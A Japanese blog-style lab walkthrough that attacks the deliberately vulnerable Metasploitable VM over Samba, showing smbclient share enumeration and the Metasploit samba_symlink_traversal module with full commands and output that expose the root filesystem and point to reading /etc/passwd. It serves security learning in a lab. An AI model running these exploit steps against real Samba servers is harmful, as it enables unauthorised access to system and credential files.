Metasploitable へのポートスキャンにより、Samba のポートが開放されていることがわかっています。
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
今回は Samba を利用してハッキングを行っていきます。
Samba とは?
Sambaとは、Windows 以外のOSでWindows のネットワーク共有機能を実現するソフトウェアです。
Sambaにより、LinuxをWindowsのファイルサーバとして使用するといったことも可能になります。
ディレクトリトラバーサル攻撃とは?
通常はアクセスできないディレクトリに対して、公開されているディレクトリを横断(トラバーサル)してアクセスを行う行為を「ディレクトリトラバーサル攻撃」と呼びます。
以下のようなイメージで、直接アクセスはできませんが、アクセス可能なディレクトリを経由してアクセスを行います。

sambaサービスへのアクセス
Kali から Metasploitable で稼働している samba サービスにアクセスします。アクセスは「smbclient」コマンドで可能です。
まず、以下のコマンドで共有フォルダのリストを表示させます。
smbclient -L //10.0.0.5
root@kali:~# smbclient -L //10.0.0.5
protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED
すると、上記のようなエラーが表示されて接続に失敗してしまいました。
どうやら、「/etc/samba/smb.conf」に”client min protocol = NT1”と追記することでこのエラーが解消されるようです。
#======================= Global Settings =======================
[global]
client min protocol = NT1
この設定を行うことで接続が成功し、以下のように共有フォルダが表示されました。
root@kali:~# smbclient -L //10.0.0.5
Enter WORKGROUP\root's password:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP
Commentを見ると、tmp フォルダが「oh noes!」となっており異質な印象を受けます。
このフォルダを使用して、ディレクトリトラバーサル攻撃を行っていこうと思います。
samba から共有フォルダ外へのシンボリックリンク
samba には共有フォルダ外にシンボリックリンクを設定する項目があります。新しいバージョンではセキュリティの観点からデフォルトで無効になっていますが、Metasploitable では有効化されています。
そのため、Metasploitable 内の”非”共有フォルダへのシンボリックリンクを設定することができ、sambaにアクセスさえできればそのフォルダにアクセス可能となってしまいます。
この機能を利用して、samba から / (ルートディレクトリ)にシンボリックリンクを設定することで、Kali から Metasploitable の / (ルートディレクトリ) にアクセスすることができます。
auxiliary/admin/smb/samba_symlink_traversal
Metasploit には、ディレクトリトラバーサル攻撃用のモジュールが用意されています。
今回はこちらを使用してディレクトリトラバーサル攻撃を行います。
「RHOST」には Metasploitable の IPアドレスを指定してください。
「SMBSHARE」には共有フォルダ名を指定してください。
msf5 > use auxiliary/admin/smb/samba_symlink_traversal
msf5 auxiliary(admin/smb/samba_symlink_traversal) >
msf5 auxiliary(admin/smb/samba_symlink_traversal) > set rhost 10.0.0.5
rhost => 10.0.0.5
msf5 auxiliary(admin/smb/samba_symlink_traversal) > set smbshare tmp
smbshare => tmp
msf5 auxiliary(admin/smb/samba_symlink_traversal) > exploit
[*] Running module against 10.0.0.5
[*] 10.0.0.5:445 - Connecting to the server...
[*] 10.0.0.5:445 - Trying to mount writeable share 'tmp'...
[*] 10.0.0.5:445 - Trying to link 'rootfs' to the root filesystem...
[*] 10.0.0.5:445 - Now access the following share to browse the root filesystem:
[*] 10.0.0.5:445 - \\10.0.0.5\tmp\rootfs\
[*] Auxiliary module execution completed
msf5 auxiliary(admin/smb/samba_symlink_traversal) >
そうすると、tmpフォルダにrootfsというシンボリックリンクが作成されます。これは / (ルートディレクトリ) へのリンクになっています。
samba から Metasploitable の ルートディレクトリ へアクセス
「smbclient」コマンドで tmp フォルダへアクセスします。
※パスワードは何も入力せずEnterでOKです。
root@kali:~# smbclient //10.0.0.5/tmp
Enter WORKGROUP\root's password:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \>
ls コマンドで「rootfs」が存在するかを確認します。
smb: \> ls
. D 0 Sat Mar 21 11:45:12 2020
.. DR 0 Sun May 20 14:36:12 2012
4579.jsvc_up R 0 Sat Mar 21 01:07:39 2020
.ICE-unix DH 0 Sat Mar 21 01:07:03 2020
orbit-msfadmin DR 0 Sat Mar 21 06:25:32 2020
.X11-unix DH 0 Sat Mar 21 01:07:11 2020
.X0-lock HR 11 Sat Mar 21 01:07:11 2020
rootfs DR 0 Sun May 20 14:36:12 2012
gconfd-msfadmin DR 0 Sat Mar 21 06:25:32 2020
7282168 blocks of size 1024. 5436392 blocks available
「rootfs」が存在することが確認できたので、「rootfs」に移動します。
smb: \> cd rootfs\
smb: \rootfs\>
この状態で ls コマンドを実行します。
すると、root配下のディレクトリ構造になっていることがわかります。
smb: \rootfs\>
smb: \rootfs\> ls
. DR 0 Sun May 20 14:36:12 2012
.. DR 0 Sun May 20 14:36:12 2012
initrd DR 0 Tue Mar 16 18:57:40 2010
media DR 0 Tue Mar 16 18:55:52 2010
bin DR 0 Sun May 13 23:35:33 2012
lost+found DR 0 Tue Mar 16 18:55:15 2010
mnt DR 0 Wed Apr 28 16:16:56 2010
sbin DR 0 Sun May 13 21:54:53 2012
initrd.img R 7929183 Sun May 13 23:35:56 2012
home DR 0 Fri Apr 16 02:16:02 2010
lib DR 0 Sun May 13 23:35:22 2012
usr DR 0 Wed Apr 28 00:06:37 2010
proc DR 0 Sat Mar 21 01:06:37 2020
root DR 0 Sat Mar 21 01:07:11 2020
sys DR 0 Sat Mar 21 01:06:38 2020
boot DR 0 Sun May 13 23:36:28 2012
nohup.out R 5821 Sat Mar 21 01:07:11 2020
etc DR 0 Sat Mar 21 01:07:09 2020
dev DR 0 Sat Mar 21 01:07:03 2020
vmlinuz R 1987288 Thu Apr 10 12:55:41 2008
opt DR 0 Tue Mar 16 18:57:39 2010
var DR 0 Wed Mar 17 10:08:23 2010
cdrom DR 0 Tue Mar 16 18:55:51 2010
tmp D 0 Sat Mar 21 11:45:12 2020
srv DR 0 Tue Mar 16 18:57:38 2010
7282168 blocks of size 1024. 5436392 blocks available
このことから、Kali から Metasploitable の / (ルートディレクトリ)にアクセスできていると言えます。
この状態であれば「/etc/passwd」ファイルを取得するといった攻撃が行えるようになります。
今回は以上です。
くどり
この記事は「ハッキング・ラボのつくりかた 第6章 」をベースに作成しています。購入リンクは以下です。
※Amazonアソシエイトを使用しています。
コメント